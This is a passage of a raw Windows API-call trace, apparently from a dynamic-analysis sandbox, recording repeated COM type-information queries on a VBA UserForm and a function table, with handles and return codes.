returned 9 [0120.223] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="UserForm") returned 0x40044e [0120.223] IUnknown:QueryInterface (in: This=0x2763bec4828, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f45d0 | out: ppvObject=0xb5690f45d0*=0x0) returned 0x80004002 [0120.223] ITypeInfo:RemoteGetTypeAttr (in: This=0x2763bec4828, ppTypeAttr=0xb5690f45f8, pDummy=0xb5690f45d0 | out: ppTypeAttr=0xb5690f45f8, pDummy=0xb5690f45d0*=0x0) returned 0x0 [0120.223] ITypeInfo:LocalReleaseTypeAttr (This=0x2763bec4828) returned 0x0 [0120.223] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ba25180, cb=0xc2) returned 0x2764ba4dd60 [0120.223] IUnknown:AddRef (This=0x2763bec4828) returned 0x3 [0120.223] IUnknown:Release (This=0x2763c01e338) returned 0x3 [0120.223] IUnknown:Release (This=0x2763bec4828) returned 0x2 [0120.223] IUnknown:Release (This=0x2763c01f2f8) returned 0x2 [0120.223] IUnknown:Release (This=0x2763c01f2f8) returned 0x2 [0120.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="03612782e8", cchWideChar=11, lpMultiByteStr=0xb5690f4840, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="03612782e8", lpUsedDefaultChar=0x0) returned 11 [0120.223] GetLocalTime (in: lpSystemTime=0xb5690f4928 | out: lpSystemTime=0xb5690f4928*(wYear=0x7e4, wMonth=0x8, wDayOfWeek=0x1, wDay=0x11, wHour=0xc, wMinute=0x3, wSecond=0xe, wMilliseconds=0x357)) [0120.223] _ultow_s (in: _Value=0x61278302, _Buffer=0x2764b24a294, _BufferCount=0x9, _Radix=16 | out: _Buffer="61278302") returned 0x0 [0120.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0861278302", cchWideChar=11, lpMultiByteStr=0xb5690f4880, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0861278302", lpUsedDefaultChar=0x0) returned 11 [0120.223] ITypeInfo:RemoteGetTypeAttr (in: This=0x2763c01e338, ppTypeAttr=0xb5690f48d8, pDummy=0x2764b40f6e0 | out: ppTypeAttr=0xb5690f48d8, pDummy=0x2764b40f6e0*=0x7) returned 0x0 [0120.224] ITypeInfo:GetRefTypeOfImplType (in: This=0x2763c01e338, index=0xffffffff, pRefType=0xb5690f48e4 | out: pRefType=0xb5690f48e4*=0xfffffffe) returned 0x0 [0120.224] ITypeInfo:GetRefTypeInfo (in: This=0x2763c01e338, hreftype=0xfffffffe, ppTInfo=0xb5690f48f0 | out: ppTInfo=0xb5690f48f0*=0x2763c01e2d8) returned 0x0 [0120.224] ITypeInfo:LocalReleaseTypeAttr (This=0x2763c01e338) returned 0x0 [0120.224] IUnknown:Release (This=0x2763c01e338) returned 0x4 [0120.224] ITypeInfo:RemoteGetTypeAttr (in: This=0x2763c01e2d8, ppTypeAttr=0xb5690f48d8, pDummy=0x0 | out: ppTypeAttr=0xb5690f48d8, pDummy=0x0) returned 0x0 [0120.224] ITypeInfo:RemoteGetTypeAttr (in: This=0x2763c01e2d8, ppTypeAttr=0xb5690f4880, pDummy=0x6 | out: ppTypeAttr=0xb5690f4880, pDummy=0x6) returned 0x0 [0120.224] ITypeInfo:LocalReleaseTypeAttr (This=0x2763c01e2d8) returned 0x0 [0120.224] ITypeInfo:LocalReleaseTypeAttr (This=0x2763c01e2d8) returned 0x0 [0120.224] IUnknown:Release (This=0x2763c01e2d8) returned 0x3 [0120.224] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764afa4500, cb=0x100) returned 0x2764b841d10 [0120.224] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ad4a1a0, cb=0x40) returned 0x2764b880f20 [0120.224] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ad4a260, cb=0x50) returned 0x27644f263d0 [0120.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="JDSUAGDFYYUGED", cchWideChar=15, lpMultiByteStr=0xb5690f46c0, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JDSUAGDFYYUGED", lpUsedDefaultChar=0x0) returned 15 [0120.224] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="JDSUAGDFYYUGED") returned 0x40ae55 [0120.224] IUnknown:Release (This=0x2763c01e338) returned 0x3 [0120.224] IUnknown:Release (This=0x2763c01e338) returned 0x3 [0120.224] IUnknown:QueryInterface (in: This=0x2763c01f2f8, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4480 | out: ppvObject=0xb5690f4480*=0x0) returned 0x80004002 [0120.224] IUnknown:QueryInterface (in: This=0x2763c01f2f8, riid=0x7ff9be1ca878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb5690f43c8 | out: ppvObject=0xb5690f43c8*=0x2763c01f2f8) returned 0x0 [0120.224] ITypeInfo2:GetCustData (in: This=0x2763c01f2f8, GUID=0x7ff9be1d5de0*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0xb5690f43d8 | out: pVarVal=0xb5690f43d8*(varType=0x0, wReserved1=0x690f, wReserved2=0xb5, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0120.224] IUnknown:Release (This=0x2763c01f2f8) returned 0x3 [0120.225] ITypeInfo:RemoteGetDocumentation (in: This=0x2763c01f2f8, memid=-1, refPtrFlags=0x690f43d0, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f43f0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f43f0*="䝀椏µ") returned 0x0 [0120.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="UserForm", cchWideChar=9, lpMultiByteStr=0xb5690f42e0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UserForm", lpUsedDefaultChar=0x0) returned 9 [0120.225] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="UserForm") returned 0x40044e [0120.225] ITypeInfo:RemoteGetTypeAttr (in: This=0x2763c01e338, ppTypeAttr=0xb5690f43d0, pDummy=0x0 | out: ppTypeAttr=0xb5690f43d0, pDummy=0x0) returned 0x0 [0120.225] ITypeInfo:LocalReleaseTypeAttr (This=0x2763c01e338) returned 0x0 [0120.225] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x0, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.225] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.225] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x1, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.225] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.225] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x2, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.225] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.225] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x3, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.225] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.225] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x4, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.225] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.225] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x5, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.225] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.225] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x6, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.225] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.225] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x7, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.225] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.225] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x8, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.225] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.225] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x9, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.225] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.225] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0xa, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.225] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.225] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0xb, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.225] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.225] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0xc, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.225] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.225] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0xd, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.226] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.226] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0xe, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.226] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.226] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0xf, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.226] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.226] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x10, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.226] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.226] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x11, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.226] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.226] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x12, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.226] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.226] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x13, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.226] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.226] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x14, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.226] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.226] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x15, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.226] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.226] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x16, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.226] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.226] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x17, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.226] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.226] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x18, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.226] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.226] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x19, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.226] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.226] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x1a, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.226] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.226] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x1b, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.226] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.226] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x1c, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.226] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.226] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x1d, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.226] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.226] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x1e, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.227] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.227] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x1f, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.227] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.227] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x20, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.227] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.227] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x21, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.227] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.227] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x22, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.227] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.227] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x23, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.227] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.227] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x24, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.227] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.227] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x25, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.227] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.227] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x26, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.227] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.227] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x27, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.227] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.227] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x28, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.227] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.227] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x29, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.227] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.227] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x2a, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.227] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.227] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x2b, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.227] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.227] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x2c, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.227] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.227] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x2d, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.227] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.227] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x2e, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.227] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.227] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x2f, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.227] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.227] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x30, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.227] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.228] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x31, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.228] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.228] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x32, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.228] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.228] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x33, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.228] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.228] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x34, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.228] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.228] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x35, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.228] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.228] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x36, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.228] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.228] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x37, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.228] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.228] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x38, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.228] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.228] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x39, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.228] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.228] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x3a, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.228] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.228] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x3b, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.228] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.228] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x3c, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.228] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.228] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x3d, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.228] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.228] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x3e, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.228] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.228] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x3f, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.228] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.228] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x40, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.228] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.228] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x41, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.228] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.228] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x42, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.229] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.229] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x43, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.229] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.229] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x44, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.229] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.229] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x45, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.229] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.229] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x46, ppFuncDesc=0xb5690f43a8, pDummy=0x6 | out: ppFuncDesc=0xb5690f43a8, pDummy=0x6) returned 0x0 [0120.229] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.229] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x47, ppFuncDesc=0xb5690f43a8, 